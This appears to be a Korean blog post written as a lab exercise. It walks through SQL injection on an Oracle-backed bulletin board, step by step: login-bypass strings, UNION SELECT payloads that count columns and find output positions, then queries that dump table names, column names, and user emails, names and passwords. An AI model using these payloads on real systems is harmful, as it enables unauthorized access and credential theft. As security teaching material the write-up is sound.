반응형

| id ' -- * 아이디를 알아야 sql 인젝션 공격이 가능 id' or 1='1' -- * 아이디를 몰라도 sql 인젝션 공격이 가능 |
![]() [SQL 인젝션 후 로그인 성공] ![]() |
1단계 컬럼 개수 정확히 맞추기 null의 개수를 하나씩 늘려가며 에러 메시지가 사라지고 화면이 정상적으로 출력되는 지점을 찾아야 한다 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ ![]() ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ ![]() 명령어: %' UNION SELECT null, null, null, null, null, null from dual -- (처음에는 %' UNION SELECT null from dual -- 부터 시작해서 오류가 안나오면 그 null값이 컬럼 수!) 컬럼 개수: 6개 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ %' UNION SELECT null, null, null, null, null, null from dual -- null의 개수를 하나씩 늘려가며 에러 메시지가 사라지고 화면이 정상적으로 출력되는 지점을 찾아야 한다 2단계: 출력 위치 확인 하기 어느 null 자리가 화면의 어느 칸(제목, 작성자 등)에 매칭되는지 확인하기 위해 식별 가능한 문자를 주입한다 ![]() 명령어: zxcv%' UNION SELECT 1, '제목칸', '작성자', '날짜', '이메일', 6 FROM dual -- 결과: 화면 리스트에 1, 제목칸, 작성자, 날짜, 이메일, 6이 화면에 출력됨을 확인함 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 명령어 작동 원리 1. 정상적인 상황 검색창 입력: 공지 DB로 전달되는 실제 쿼리: SELECT 번호, 제목, 작성자... FROM 게시판 WHERE 제목 LIKE '%공지%' 결과: 제목에 '공지'가 들어간 진짜 게시글들이 화면에 출력됨. 2. 공격 상황 (사용자가 UNION 구문을 넣을 때) 공격 작동 (입력한 상태) 사용자 입력: zxcv%' UNION SELECT 1, '제목칸', '작성자', '날짜', '이메일', 6 FROM dual -- 위의 명령어로 가짜 데이터를 주입함으로써 위 사진처럼 가짜 데이터가 나오게 됨 이 교란된 상황에서 명령어로 tname 등의 테이블명을 넣으면 실제 테이블명이 나오게 된다 3.서버 명령: SELECT ... WHERE 제목 LIKE '%zxcv%': 검색 결과 없음 (화면 비움) UNION: 앞의 결과와 뒤의 결과를 합침 SELECT 1, 'C', 'B', 'D', 'null', 6: 우리가 만든 가짜 데이터 1줄 생성 결과: 화면에 진짜 게시글 대신 우리가 주입한 ** 1, 제목칸, 작성자, 날짜, 이메일, 6 **이 출력됨 4. 결론 성공 이유: 서버가 내가 보낸 UNION 명령어를 데이터가 아닌 실행 명령으로 인식했기 때문임 결과: 화면의 [제목] 칸에 **'C'**가 찍히는 것을 확인함. 이제 'C' 자리에 테이블 이름이나 아이디를 넣으면 화면에 그대로 노출됨 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 3단계: 테이블 이름 강제 출력 문자가 찍히는 것이 확인된 모든 칸(제목, 글쓴이, 날짜)에 tname을 다 집어넣어 본다. 어디든 하나는 걸리게 만드는 기계적 방법이다 ![]() 명령어: zxcv%' UNION SELECT 1, tname, tname, tname, null, 6 FROM tab -- 결과: 테이블명은 BOARD, CONTENT, DKDLEL 이 있다 4단계: 컬럼 이름 알아내기 3단계에서 BOARD(게시판), CONTENT(내용), DKDLEL(아이디/비번 추정) 테이블을 확인했다. 우리의 목표는 로그인 정보가 들어있을 확률이 가장 높은 DKDLEL 테이블의 항목 이름을 확인 하는 것이다 ![]() 명령어: zxcv%' UNION SELECT 1, table_name, column_name, '컬럼확인', null, 6 FROM cols WHERE table_name = 'DKDLEL' -- 결과 zxcv 명령어로 심은 가짜 데이터는 1, 컬럼확인, 6 내가 알고싶었던 진짜 데이터는 DKAGH(암호 - 비밀번호) , EMAIL, NAME, TJDAUID(성명-아이디) 를 찾을 수 있다 ![]() 5단계: 아이디 알아내기 명령어: %' UNION SELECT 1, EMAIL, NAME, DKAGH, TJDAUD, 6 FROM DKDLEL WHERE ROWNUM <= 10 -- 결과: 위에 명령어에서 얻어낸 TJDAUD(성명)으로 qalp12(아이디) 를 알아낼수 있다 qalp12'-- / 비밀번호 아무거나 눌러서 sql 인젝션에 성공한다 |
'Infra & Security Eng > Database Engineering' 카테고리의 다른 글
| 오라클(Oracle) DB 구조 완전 정리 — 인스턴스, 데이터베이스, 백그라운드 프로세스 (0) | 2026.04.06 |
|---|---|
| Rocky Linux에 Oracle 19c 설치하기 (+ 명령어 설명) (0) | 2026.04.06 |
| [SQL 인젝션] - SQL 테이블 출력 전체 명령어 리스트 (0) | 2026.04.03 |
| 인증 게시판 실습으로 이해하는 세션, SQL Injection, 3계층 구조 정리 (0) | 2026.04.02 |
| view, content, insert, id.html 4가지 웹페이지 파일 모델링 실습, 해설 (0) | 2026.04.02 |







